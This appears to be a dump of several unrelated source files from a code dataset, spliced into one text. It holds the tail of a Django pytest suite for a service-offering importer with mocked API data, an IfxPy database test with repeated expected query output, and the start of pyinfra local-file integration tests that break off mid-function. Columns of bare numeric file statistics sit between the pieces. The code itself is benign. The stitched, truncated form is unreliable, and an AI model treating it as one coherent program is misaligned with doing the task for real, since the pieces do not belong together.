f"/api/v2/inventories/{inventory_source_ref}/"
),
"related.survey_spec": (
f"/api/v2/survey_spec/{service_offering_source_ref}"
),
"survey_enabled": True,
"type": "job_template",
},
]
workflow_objs = []
def fake_method(*args, **_kwarg):
if "workflow_job_templates" in args[0]:
for i in workflow_objs:
yield i
else:
for i in template_objs:
yield i
surveys = []
def survey_requests(*args, **_kwarg):
surveys.append(args[0])
tower_mock.get.side_effect = fake_method
inventory_import_mock = Mock()
inventory_import_mock.source_ref_to_id.return_value = inventory.id
plan_import_mock = Mock()
plan_import_mock.process.side_effect = survey_requests
soi = ServiceOfferingImport(
tenant, source, tower_mock, inventory_import_mock, plan_import_mock
)
soi.process()
assert (ServiceOffering.objects.all().count()) == 1
obj = ServiceOffering.objects.first()
assert (obj.service_inventory.id) == inventory.id
assert (obj.name) == "Fred"
assert (obj.description) == "Bedrock Template"
assert (soi.get_stats().get("updates")) == 1
assert (len(surveys)) == 1
@pytest.mark.django_db
def test_delete(self):
"""Test delete existing objects."""
tenant = TenantFactory()
source = SourceFactory()
inventory = ServiceInventoryFactory(tenant=tenant, source=source)
inventory_source_ref = "999"
inventory.source_ref = inventory_source_ref
inventory.save()
service_offering_source_ref = "997"
ServiceOfferingFactory(
tenant=tenant,
source=source,
service_inventory=inventory,
kind=OfferingKind.JOB_TEMPLATE,
source_ref=service_offering_source_ref,
)
tower_mock = Mock()
template_objs = []
workflow_objs = []
def fake_method(*args, **_kwarg):
if "workflow_job_templates" in args[0]:
for i in workflow_objs:
yield i
else:
for i in template_objs:
yield i
tower_mock.get.side_effect = fake_method
inventory_import_mock = Mock()
plan_import_mock = Mock()
soi = ServiceOfferingImport(
tenant, source, tower_mock, inventory_import_mock, plan_import_mock
)
soi.process()
assert (ServiceOffering.objects.all().count()) == 0
assert (soi.get_stats().get("deletes")) == 1
@pytest.mark.django_db
def test_update_survey_disabled(self):
"""Test update existing objects but survey is disabled."""
tenant = TenantFactory()
source = SourceFactory(tenant=tenant)
service_inventory = ServiceInventoryFactory(
source=source, tenant=tenant
)
service_offering = ServiceOfferingFactory(
source=source,
tenant=tenant,
service_inventory=service_inventory,
survey_enabled=True,
)
InventoryServicePlanFactory(
tenant=tenant,
source=source,
service_offering=service_offering,
source_ref=service_offering.source_ref,
)
tower_mock = Mock()
template_objs = [
{
"name": "Fred",
"url": f"/api/v2/job_templates/{service_offering.source_ref}/",
"id": int(service_offering.source_ref),
"description": "Bedrock Template",
"created": "2021-05-19T17:21:37.130143Z",
"modified": "2021-06-10T20:06:35.234167Z",
"related.inventory": (
f"/api/v2/inventories/{service_inventory.source_ref}/"
),
"related.survey_spec": (
f"/api/v2/survey_spec/{service_offering.source_ref}"
),
"survey_enabled": False,
"type": "job_template",
},
]
workflow_objs = []
def fake_method(*args, **_kwarg):
if "workflow_job_templates" in args[0]:
for i in workflow_objs:
yield i
else:
for i in template_objs:
yield i
surveys = []
def survey_requests(*args, **_kwarg):
surveys.append(args[0])
tower_mock.get.side_effect = fake_method
inventory_import_mock = Mock()
inventory_import_mock.source_ref_to_id.return_value = (
service_inventory.id
)
plan_import_mock = Mock()
plan_import_mock.process.side_effect = survey_requests
soi = ServiceOfferingImport(
tenant, source, tower_mock, inventory_import_mock, plan_import_mock
)
soi.process()
assert (ServiceOffering.objects.all().count()) == 1
obj = ServiceOffering.objects.first()
assert (obj.service_inventory.id) == service_inventory.id
assert (obj.name) == "Fred"
assert (obj.description) == "Bedrock Template"
assert (soi.get_stats().get("updates")) == 1
assert (len(surveys)) == 0
assert (InventoryServicePlan.objects.all().count()) == 0
assert (
soi.source_ref_to_id(service_offering.source_ref)
) == service_offering.id
@pytest.mark.django_db
def test_none_related_inventory(self):
"""Test adding new objects."""
tenant = TenantFactory()
source = SourceFactory()
inventory_source_ref = "999"
inventory = ServiceInventoryFactory(
tenant=tenant, source=source, source_ref=inventory_source_ref
)
tower_mock = Mock()
template_objs = [
{
"name": "Fred",
"url": "/api/v2/job_templates/298/",
"id": 298,
"description": "Bedrock Template",
"created": "2021-05-19T17:21:37.130143Z",
"modified": "2021-06-10T20:06:35.234167Z",
"related.inventory": None,
"related.survey_spec": "/api/v2/survey_spec/298",
"survey_enabled": True,
"type": "job_template",
},
]
workflow_objs = [
{
"name": "Barney",
"url": "/api/v2/job_templates/299/",
"id": 299,
"description": "Barney Template",
"created": "2021-05-19T17:56:37.130143Z",
"modified": "2021-06-10T20:46:35.234167Z",
"related.inventory": (
f"/api/v2/inventories/{inventory_source_ref}/"
),
"survey_enabled": False,
"related.survey_spec": "/api/v2/survey_spec/299",
"type": "workflow_job_template",
},
]
def fake_method(*args, **_kwarg):
if "workflow_job_templates" in args[0]:
for i in workflow_objs:
yield i
else:
for i in template_objs:
yield i
surveys = []
def survey_requests(*args, **_kwarg):
surveys.append(args[0])
tower_mock.get.side_effect = fake_method
inventory_import_mock = Mock()
inventory_import_mock.source_ref_to_id.return_value = inventory.id
plan_import_mock = Mock()
plan_import_mock.process.side_effect = survey_requests
soi = ServiceOfferingImport(
tenant, source, tower_mock, inventory_import_mock, plan_import_mock
)
soi.process()
assert (ServiceOffering.objects.all().count()) == 2
assert (soi.get_stats().get("adds")) == 2
assert (len(surveys)) == 1
| 34.983051
| 79
| 0.55281
| 1,196
| 12,384
| 5.480769
| 0.106187
| 0.050801
| 0.04119
| 0.047597
| 0.86987
| 0.846682
| 0.818917
| 0.818917
| 0.81251
| 0.81251
| 0
| 0.041029
| 0.340682
| 12,384
| 353
| 80
| 35.082153
| 0.761788
| 0.019218
| 0
| 0.731629
| 0
| 0
| 0.155904
| 0.090586
| 0
| 0
| 0
| 0
| 0.073482
| 1
| 0.044728
| false
| 0
| 0.115016
| 0
| 0.162939
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8183529cf40689b3ee15ce6d5f92a35976d3925f
| 19,142
|
py
|
Python
|
IfxPy/tests/test_160_FetchBoth.py
|
deokershesh/IfxPy
|
7c44a2aea85c115b6f595ffa82c038f660fbf1ad
|
[
"Apache-2.0"
] | null | null | null |
IfxPy/tests/test_160_FetchBoth.py
|
deokershesh/IfxPy
|
7c44a2aea85c115b6f595ffa82c038f660fbf1ad
|
[
"Apache-2.0"
] | null | null | null |
IfxPy/tests/test_160_FetchBoth.py
|
deokershesh/IfxPy
|
7c44a2aea85c115b6f595ffa82c038f660fbf1ad
|
[
"Apache-2.0"
] | null | null | null |
#
#
#
import unittest, sys
import IfxPy
import config
from testfunctions import IfxPyTestFunctions
class IfxPyTestCase(unittest.TestCase):
def test_160_FetchBoth(self):
obj = IfxPyTestFunctions()
obj.assert_expect(self.run_test_160)
def run_test_160(self):
conn = IfxPy.connect(config.ConnStr, config.user, config.password)
server = IfxPy.server_info( conn )
if (server.DBMS_NAME[0:3] == 'Inf'):
op = {IfxPy.ATTR_CASE: IfxPy.CASE_UPPER}
IfxPy.set_option(conn, op, 1)
result = IfxPy.exec_immediate(conn, "select * from emp_act")
row = IfxPy.fetch_both(result)
while ( row ):
#printf("%6s ",row[0])
#printf("%-6s ",row[1])
#printf("%3d ",row[2])
#printf("%9s ",row['EMPTIME'])
#printf("%10s ", row['EMSTDATE'])
#printf("%10s ", row['EMENDATE'])
#printf("%6s ", row[0])
#puts ""
print "%6s %-6s %3d %9s %10s %10s %6s " % (row[0], row[1], row[2], row['EMPTIME'], row['EMSTDATE'], row['EMENDATE'], row[0])
row = IfxPy.fetch_both(result)
#__END__
#__LUW_EXPECTED__
#000010 MA2100 10 0.50 1982-01-01 1982-11-01 000010
#000010 MA2110 10 1.00 1982-01-01 1983-02-01 000010
#000010 AD3100 10 0.50 1982-01-01 1982-07-01 000010
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
#000030 IF1000 10 0.50 1982-06-01 1983-01-01 000030
#000030 IF2000 10 0.50 1982-01-01 1983-01-01 000030
#000050 OP1000 10 0.25 1982-01-01 1983-02-01 000050
#000050 OP2010 10 0.75 1982-01-01 1983-02-01 000050
#000070 AD3110 10 1.00 1982-01-01 1983-02-01 000070
#000090 OP1010 10 1.00 1982-01-01 1983-02-01 000090
#000100 OP2010 10 1.00 1982-01-01 1983-02-01 000100
#000110 MA2100 20 1.00 1982-01-01 1982-03-01 000110
#000130 IF1000 90 1.00 1982-01-01 1982-10-01 000130
#000130 IF1000 100 0.50 1982-10-01 1983-01-01 000130
#000140 IF1000 90 0.50 1982-10-01 1983-01-01 000140
#000140 IF2000 100 1.00 1982-01-01 1982-03-01 000140
#000140 IF2000 100 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-10-01 1983-01-01 000140
#000150 MA2112 60 1.00 1982-01-01 1982-07-15 000150
#000150 MA2112 180 1.00 1982-07-15 1983-02-01 000150
#000160 MA2113 60 1.00 1982-07-15 1983-02-01 000160
#000170 MA2112 60 1.00 1982-01-01 1983-06-01 000170
#000170 MA2112 70 1.00 1982-06-01 1983-02-01 000170
#000170 MA2113 80 1.00 1982-01-01 1983-02-01 000170
#000180 MA2113 70 1.00 1982-04-01 1982-06-15 000180
#000190 MA2112 70 1.00 1982-02-01 1982-10-01 000190
#000190 MA2112 80 1.00 1982-10-01 1983-10-01 000190
#000200 MA2111 50 1.00 1982-01-01 1982-06-15 000200
#000200 MA2111 60 1.00 1982-06-15 1983-02-01 000200
#000210 MA2113 80 0.50 1982-10-01 1983-02-01 000210
#000210 MA2113 180 0.50 1982-10-01 1983-02-01 000210
#000220 MA2111 40 1.00 1982-01-01 1983-02-01 000220
#000230 AD3111 60 1.00 1982-01-01 1982-03-15 000230
#000230 AD3111 60 0.50 1982-03-15 1982-04-15 000230
#000230 AD3111 70 0.50 1982-03-15 1982-10-15 000230
#000230 AD3111 80 0.50 1982-04-15 1982-10-15 000230
#000230 AD3111 180 1.00 1982-10-15 1983-01-01 000230
#000240 AD3111 70 1.00 1982-02-15 1982-09-15 000240
#000240 AD3111 80 1.00 1982-09-15 1983-01-01 000240
#000250 AD3112 60 1.00 1982-01-01 1982-02-01 000250
#000250 AD3112 60 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 60 0.50 1982-12-01 1983-01-01 000250
#000250 AD3112 60 1.00 1983-01-01 1983-02-01 000250
#000250 AD3112 70 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 70 1.00 1982-03-15 1982-08-15 000250
#000250 AD3112 70 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.50 1982-10-15 1982-12-01 000250
#000250 AD3112 180 0.50 1982-08-15 1983-01-01 000250
#000260 AD3113 70 0.50 1982-06-15 1982-07-01 000260
#000260 AD3113 70 1.00 1982-07-01 1983-02-01 000260
#000260 AD3113 80 1.00 1982-01-01 1982-03-01 000260
#000260 AD3113 80 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 1.00 1982-04-15 1982-06-01 000260
#000260 AD3113 180 0.50 1982-06-01 1982-07-01 000260
#000270 AD3113 60 0.50 1982-03-01 1982-04-01 000270
#000270 AD3113 60 1.00 1982-04-01 1982-09-01 000270
#000270 AD3113 60 0.25 1982-09-01 1982-10-15 000270
#000270 AD3113 70 0.75 1982-09-01 1982-10-15 000270
#000270 AD3113 70 1.00 1982-10-15 1983-02-01 000270
#000270 AD3113 80 1.00 1982-01-01 1982-03-01 000270
#000270 AD3113 80 0.50 1982-03-01 1982-04-01 000270
#000280 OP1010 130 1.00 1982-01-01 1983-02-01 000280
#000290 OP1010 130 1.00 1982-01-01 1983-02-01 000290
#000300 OP1010 130 1.00 1982-01-01 1983-02-01 000300
#000310 OP1010 130 1.00 1982-01-01 1983-02-01 000310
#000320 OP2011 140 0.75 1982-01-01 1983-02-01 000320
#000320 OP2011 150 0.25 1982-01-01 1983-02-01 000320
#000330 OP2012 140 0.25 1982-01-01 1983-02-01 000330
#000330 OP2012 160 0.75 1982-01-01 1983-02-01 000330
#000340 OP2013 140 0.50 1982-01-01 1983-02-01 000340
#000340 OP2013 170 0.50 1982-01-01 1983-02-01 000340
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
#__ZOS_EXPECTED__
#000010 MA2100 10 0.50 1982-01-01 1982-11-01 000010
#000010 MA2110 10 1.00 1982-01-01 1983-02-01 000010
#000010 AD3100 10 0.50 1982-01-01 1982-07-01 000010
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
#000030 IF1000 10 0.50 1982-06-01 1983-01-01 000030
#000030 IF2000 10 0.50 1982-01-01 1983-01-01 000030
#000050 OP1000 10 0.25 1982-01-01 1983-02-01 000050
#000050 OP2010 10 0.75 1982-01-01 1983-02-01 000050
#000070 AD3110 10 1.00 1982-01-01 1983-02-01 000070
#000090 OP1010 10 1.00 1982-01-01 1983-02-01 000090
#000100 OP2010 10 1.00 1982-01-01 1983-02-01 000100
#000110 MA2100 20 1.00 1982-01-01 1982-03-01 000110
#000130 IF1000 90 1.00 1982-01-01 1982-10-01 000130
#000130 IF1000 100 0.50 1982-10-01 1983-01-01 000130
#000140 IF1000 90 0.50 1982-10-01 1983-01-01 000140
#000140 IF2000 100 1.00 1982-01-01 1982-03-01 000140
#000140 IF2000 100 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-10-01 1983-01-01 000140
#000150 MA2112 60 1.00 1982-01-01 1982-07-15 000150
#000150 MA2112 180 1.00 1982-07-15 1983-02-01 000150
#000160 MA2113 60 1.00 1982-07-15 1983-02-01 000160
#000170 MA2112 60 1.00 1982-01-01 1983-06-01 000170
#000170 MA2112 70 1.00 1982-06-01 1983-02-01 000170
#000170 MA2113 80 1.00 1982-01-01 1983-02-01 000170
#000180 MA2113 70 1.00 1982-04-01 1982-06-15 000180
#000190 MA2112 70 1.00 1982-02-01 1982-10-01 000190
#000190 MA2112 80 1.00 1982-10-01 1983-10-01 000190
#000200 MA2111 50 1.00 1982-01-01 1982-06-15 000200
#000200 MA2111 60 1.00 1982-06-15 1983-02-01 000200
#000210 MA2113 80 0.50 1982-10-01 1983-02-01 000210
#000210 MA2113 180 0.50 1982-10-01 1983-02-01 000210
#000220 MA2111 40 1.00 1982-01-01 1983-02-01 000220
#000230 AD3111 60 1.00 1982-01-01 1982-03-15 000230
#000230 AD3111 60 0.50 1982-03-15 1982-04-15 000230
#000230 AD3111 70 0.50 1982-03-15 1982-10-15 000230
#000230 AD3111 80 0.50 1982-04-15 1982-10-15 000230
#000230 AD3111 180 1.00 1982-10-15 1983-01-01 000230
#000240 AD3111 70 1.00 1982-02-15 1982-09-15 000240
#000240 AD3111 80 1.00 1982-09-15 1983-01-01 000240
#000250 AD3112 60 1.00 1982-01-01 1982-02-01 000250
#000250 AD3112 60 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 60 0.50 1982-12-01 1983-01-01 000250
#000250 AD3112 60 1.00 1983-01-01 1983-02-01 000250
#000250 AD3112 70 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 70 1.00 1982-03-15 1982-08-15 000250
#000250 AD3112 70 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.50 1982-10-15 1982-12-01 000250
#000250 AD3112 180 0.50 1982-08-15 1983-01-01 000250
#000260 AD3113 70 0.50 1982-06-15 1982-07-01 000260
#000260 AD3113 70 1.00 1982-07-01 1983-02-01 000260
#000260 AD3113 80 1.00 1982-01-01 1982-03-01 000260
#000260 AD3113 80 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 1.00 1982-04-15 1982-06-01 000260
#000260 AD3113 180 0.50 1982-06-01 1982-07-01 000260
#000270 AD3113 60 0.50 1982-03-01 1982-04-01 000270
#000270 AD3113 60 1.00 1982-04-01 1982-09-01 000270
#000270 AD3113 60 0.25 1982-09-01 1982-10-15 000270
#000270 AD3113 70 0.75 1982-09-01 1982-10-15 000270
#000270 AD3113 70 1.00 1982-10-15 1983-02-01 000270
#000270 AD3113 80 1.00 1982-01-01 1982-03-01 000270
#000270 AD3113 80 0.50 1982-03-01 1982-04-01 000270
#000280 OP1010 130 1.00 1982-01-01 1983-02-01 000280
#000290 OP1010 130 1.00 1982-01-01 1983-02-01 000290
#000300 OP1010 130 1.00 1982-01-01 1983-02-01 000300
#000310 OP1010 130 1.00 1982-01-01 1983-02-01 000310
#000320 OP2011 140 0.75 1982-01-01 1983-02-01 000320
#000320 OP2011 150 0.25 1982-01-01 1983-02-01 000320
#000330 OP2012 140 0.25 1982-01-01 1983-02-01 000330
#000330 OP2012 160 0.75 1982-01-01 1983-02-01 000330
#000340 OP2013 140 0.50 1982-01-01 1983-02-01 000340
#000340 OP2013 170 0.50 1982-01-01 1983-02-01 000340
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
#__SYSTEMI_EXPECTED__
#000010 MA2100 10 0.50 1982-01-01 1982-11-01 000010
#000010 MA2110 10 1.00 1982-01-01 1983-02-01 000010
#000010 AD3100 10 0.50 1982-01-01 1982-07-01 000010
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
#000030 IF1000 10 0.50 1982-06-01 1983-01-01 000030
#000030 IF2000 10 0.50 1982-01-01 1983-01-01 000030
#000050 OP1000 10 0.25 1982-01-01 1983-02-01 000050
#000050 OP2010 10 0.75 1982-01-01 1983-02-01 000050
#000070 AD3110 10 1.00 1982-01-01 1983-02-01 000070
#000090 OP1010 10 1.00 1982-01-01 1983-02-01 000090
#000100 OP2010 10 1.00 1982-01-01 1983-02-01 000100
#000110 MA2100 20 1.00 1982-01-01 1982-03-01 000110
#000130 IF1000 90 1.00 1982-01-01 1982-10-01 000130
#000130 IF1000 100 0.50 1982-10-01 1983-01-01 000130
#000140 IF1000 90 0.50 1982-10-01 1983-01-01 000140
#000140 IF2000 100 1.00 1982-01-01 1982-03-01 000140
#000140 IF2000 100 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-10-01 1983-01-01 000140
#000150 MA2112 60 1.00 1982-01-01 1982-07-15 000150
#000150 MA2112 180 1.00 1982-07-15 1983-02-01 000150
#000160 MA2113 60 1.00 1982-07-15 1983-02-01 000160
#000170 MA2112 60 1.00 1982-01-01 1983-06-01 000170
#000170 MA2112 70 1.00 1982-06-01 1983-02-01 000170
#000170 MA2113 80 1.00 1982-01-01 1983-02-01 000170
#000180 MA2113 70 1.00 1982-04-01 1982-06-15 000180
#000190 MA2112 70 1.00 1982-02-01 1982-10-01 000190
#000190 MA2112 80 1.00 1982-10-01 1983-10-01 000190
#000200 MA2111 50 1.00 1982-01-01 1982-06-15 000200
#000200 MA2111 60 1.00 1982-06-15 1983-02-01 000200
#000210 MA2113 80 0.50 1982-10-01 1983-02-01 000210
#000210 MA2113 180 0.50 1982-10-01 1983-02-01 000210
#000220 MA2111 40 1.00 1982-01-01 1983-02-01 000220
#000230 AD3111 60 1.00 1982-01-01 1982-03-15 000230
#000230 AD3111 60 0.50 1982-03-15 1982-04-15 000230
#000230 AD3111 70 0.50 1982-03-15 1982-10-15 000230
#000230 AD3111 80 0.50 1982-04-15 1982-10-15 000230
#000230 AD3111 180 1.00 1982-10-15 1983-01-01 000230
#000240 AD3111 70 1.00 1982-02-15 1982-09-15 000240
#000240 AD3111 80 1.00 1982-09-15 1983-01-01 000240
#000250 AD3112 60 1.00 1982-01-01 1982-02-01 000250
#000250 AD3112 60 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 60 0.50 1982-12-01 1983-01-01 000250
#000250 AD3112 60 1.00 1983-01-01 1983-02-01 000250
#000250 AD3112 70 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 70 1.00 1982-03-15 1982-08-15 000250
#000250 AD3112 70 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.50 1982-10-15 1982-12-01 000250
#000250 AD3112 180 0.50 1982-08-15 1983-01-01 000250
#000260 AD3113 70 0.50 1982-06-15 1982-07-01 000260
#000260 AD3113 70 1.00 1982-07-01 1983-02-01 000260
#000260 AD3113 80 1.00 1982-01-01 1982-03-01 000260
#000260 AD3113 80 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 1.00 1982-04-15 1982-06-01 000260
#000260 AD3113 180 0.50 1982-06-01 1982-07-01 000260
#000270 AD3113 60 0.50 1982-03-01 1982-04-01 000270
#000270 AD3113 60 1.00 1982-04-01 1982-09-01 000270
#000270 AD3113 60 0.25 1982-09-01 1982-10-15 000270
#000270 AD3113 70 0.75 1982-09-01 1982-10-15 000270
#000270 AD3113 70 1.00 1982-10-15 1983-02-01 000270
#000270 AD3113 80 1.00 1982-01-01 1982-03-01 000270
#000270 AD3113 80 0.50 1982-03-01 1982-04-01 000270
#000280 OP1010 130 1.00 1982-01-01 1983-02-01 000280
#000290 OP1010 130 1.00 1982-01-01 1983-02-01 000290
#000300 OP1010 130 1.00 1982-01-01 1983-02-01 000300
#000310 OP1010 130 1.00 1982-01-01 1983-02-01 000310
#000320 OP2011 140 0.75 1982-01-01 1983-02-01 000320
#000320 OP2011 150 0.25 1982-01-01 1983-02-01 000320
#000330 OP2012 140 0.25 1982-01-01 1983-02-01 000330
#000330 OP2012 160 0.75 1982-01-01 1983-02-01 000330
#000340 OP2013 140 0.50 1982-01-01 1983-02-01 000340
#000340 OP2013 170 0.50 1982-01-01 1983-02-01 000340
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
#__IDS_EXPECTED__
#000010 MA2100 10 0.50 1982-01-01 1982-11-01 000010
#000010 MA2110 10 1.00 1982-01-01 1983-02-01 000010
#000010 AD3100 10 0.50 1982-01-01 1982-07-01 000010
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
#000030 IF1000 10 0.50 1982-06-01 1983-01-01 000030
#000030 IF2000 10 0.50 1982-01-01 1983-01-01 000030
#000050 OP1000 10 0.25 1982-01-01 1983-02-01 000050
#000050 OP2010 10 0.75 1982-01-01 1983-02-01 000050
#000070 AD3110 10 1.00 1982-01-01 1983-02-01 000070
#000090 OP1010 10 1.00 1982-01-01 1983-02-01 000090
#000100 OP2010 10 1.00 1982-01-01 1983-02-01 000100
#000110 MA2100 20 1.00 1982-01-01 1982-03-01 000110
#000130 IF1000 90 1.00 1982-01-01 1982-10-01 000130
#000130 IF1000 100 0.50 1982-10-01 1983-01-01 000130
#000140 IF1000 90 0.50 1982-10-01 1983-01-01 000140
#000140 IF2000 100 1.00 1982-01-01 1982-03-01 000140
#000140 IF2000 100 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-03-01 1982-07-01 000140
#000140 IF2000 110 0.50 1982-10-01 1983-01-01 000140
#000150 MA2112 60 1.00 1982-01-01 1982-07-15 000150
#000150 MA2112 180 1.00 1982-07-15 1983-02-01 000150
#000160 MA2113 60 1.00 1982-07-15 1983-02-01 000160
#000170 MA2112 60 1.00 1982-01-01 1983-06-01 000170
#000170 MA2112 70 1.00 1982-06-01 1983-02-01 000170
#000170 MA2113 80 1.00 1982-01-01 1983-02-01 000170
#000180 MA2113 70 1.00 1982-04-01 1982-06-15 000180
#000190 MA2112 70 1.00 1982-02-01 1982-10-01 000190
#000190 MA2112 80 1.00 1982-10-01 1983-10-01 000190
#000200 MA2111 50 1.00 1982-01-01 1982-06-15 000200
#000200 MA2111 60 1.00 1982-06-15 1983-02-01 000200
#000210 MA2113 80 0.50 1982-10-01 1983-02-01 000210
#000210 MA2113 180 0.50 1982-10-01 1983-02-01 000210
#000220 MA2111 40 1.00 1982-01-01 1983-02-01 000220
#000230 AD3111 60 1.00 1982-01-01 1982-03-15 000230
#000230 AD3111 60 0.50 1982-03-15 1982-04-15 000230
#000230 AD3111 70 0.50 1982-03-15 1982-10-15 000230
#000230 AD3111 80 0.50 1982-04-15 1982-10-15 000230
#000230 AD3111 180 1.00 1982-10-15 1983-01-01 000230
#000240 AD3111 70 1.00 1982-02-15 1982-09-15 000240
#000240 AD3111 80 1.00 1982-09-15 1983-01-01 000240
#000250 AD3112 60 1.00 1982-01-01 1982-02-01 000250
#000250 AD3112 60 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 60 0.50 1982-12-01 1983-01-01 000250
#000250 AD3112 60 1.00 1983-01-01 1983-02-01 000250
#000250 AD3112 70 0.50 1982-02-01 1982-03-15 000250
#000250 AD3112 70 1.00 1982-03-15 1982-08-15 000250
#000250 AD3112 70 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.25 1982-08-15 1982-10-15 000250
#000250 AD3112 80 0.50 1982-10-15 1982-12-01 000250
#000250 AD3112 180 0.50 1982-08-15 1983-01-01 000250
#000260 AD3113 70 0.50 1982-06-15 1982-07-01 000260
#000260 AD3113 70 1.00 1982-07-01 1983-02-01 000260
#000260 AD3113 80 1.00 1982-01-01 1982-03-01 000260
#000260 AD3113 80 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 0.50 1982-03-01 1982-04-15 000260
#000260 AD3113 180 1.00 1982-04-15 1982-06-01 000260
#000260 AD3113 180 0.50 1982-06-01 1982-07-01 000260
#000270 AD3113 60 0.50 1982-03-01 1982-04-01 000270
#000270 AD3113 60 1.00 1982-04-01 1982-09-01 000270
#000270 AD3113 60 0.25 1982-09-01 1982-10-15 000270
#000270 AD3113 70 0.75 1982-09-01 1982-10-15 000270
#000270 AD3113 70 1.00 1982-10-15 1983-02-01 000270
#000270 AD3113 80 1.00 1982-01-01 1982-03-01 000270
#000270 AD3113 80 0.50 1982-03-01 1982-04-01 000270
#000280 OP1010 130 1.00 1982-01-01 1983-02-01 000280
#000290 OP1010 130 1.00 1982-01-01 1983-02-01 000290
#000300 OP1010 130 1.00 1982-01-01 1983-02-01 000300
#000310 OP1010 130 1.00 1982-01-01 1983-02-01 000310
#000320 OP2011 140 0.75 1982-01-01 1983-02-01 000320
#000320 OP2011 150 0.25 1982-01-01 1983-02-01 000320
#000330 OP2012 140 0.25 1982-01-01 1983-02-01 000330
#000330 OP2012 160 0.75 1982-01-01 1983-02-01 000330
#000340 OP2013 140 0.50 1982-01-01 1983-02-01 000340
#000340 OP2013 170 0.50 1982-01-01 1983-02-01 000340
#000020 PL2100 30 1.00 1982-01-01 1982-09-15 000020
| 55.323699
| 131
| 0.653537
| 3,749
| 19,142
| 3.32622
| 0.039477
| 0.055172
| 0.083079
| 0.073777
| 0.951564
| 0.947875
| 0.947875
| 0.947875
| 0.947875
| 0.947875
| 0
| 0.7741
| 0.242399
| 19,142
| 345
| 132
| 55.484058
| 0.085781
| 0.922631
| 0
| 0.105263
| 0
| 0
| 0.067928
| 0
| 0
| 0
| 0
| 0
| 0.052632
| 0
| null | null | 0.052632
| 0.210526
| null | null | 0.052632
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 11
|
81ac4dc53f01ace40d00239deaec5185d6cc4fd4
| 4,121
|
py
|
Python
|
tests/int/test_int_local.py
|
blarghmatey/pyinfra
|
b8287618d66a4e00963c88a3ef191c94e8320f70
|
[
"MIT"
] | 1,532
|
2015-06-13T19:48:52.000Z
|
2022-03-26T15:32:45.000Z
|
tests/int/test_int_local.py
|
blarghmatey/pyinfra
|
b8287618d66a4e00963c88a3ef191c94e8320f70
|
[
"MIT"
] | 729
|
2015-09-24T08:42:39.000Z
|
2022-03-31T07:15:44.000Z
|
tests/int/test_int_local.py
|
blarghmatey/pyinfra
|
b8287618d66a4e00963c88a3ef191c94e8320f70
|
[
"MIT"
] | 419
|
2015-12-16T21:00:34.000Z
|
2022-03-05T21:05:07.000Z
|
'''
Local integration tests - mostly checking for idempotency on file operations.
'''
from shutil import rmtree
from tempfile import mkdtemp
import pytest
@pytest.mark.int
@pytest.mark.local
def test_int_local_file_no_changes(helpers):
temp_dir = mkdtemp()
try:
helpers.run( # first run = create the file
'pyinfra -v @local files.file _testfile',
expected_lines=['@local] Success'],
cwd=temp_dir,
)
helpers.run( # second run = no changes
'pyinfra -v @local files.file _testfile',
expected_lines=['@local] No changes'],
cwd=temp_dir,
)
finally:
rmtree(temp_dir)
@pytest.mark.int
@pytest.mark.local
def test_int_local_directory_no_changes(helpers):
temp_dir = mkdtemp()
try:
helpers.run( # first run = create the directory
'pyinfra -v @local files.directory _testdir',
expected_lines=['@local] Success'],
cwd=temp_dir,
)
helpers.run( # second run = no changes
'pyinfra -v @local files.directory _testdir',
expected_lines=['@local] No changes'],
cwd=temp_dir,
)
helpers.run( # third run (remove) = remove directory
'pyinfra -v @local files.directory _testdir present=False',
expected_lines=['@local] Success'],
cwd=temp_dir,
)
helpers.run( # fourth run (remove) = no chances
'pyinfra -v @local files.directory _testdir present=False',
expected_lines=['@local] No changes'],
cwd=temp_dir,
)
finally:
rmtree(temp_dir)
@pytest.mark.int
@pytest.mark.local
def test_int_local_link_no_changes(helpers):
temp_dir = mkdtemp()
try:
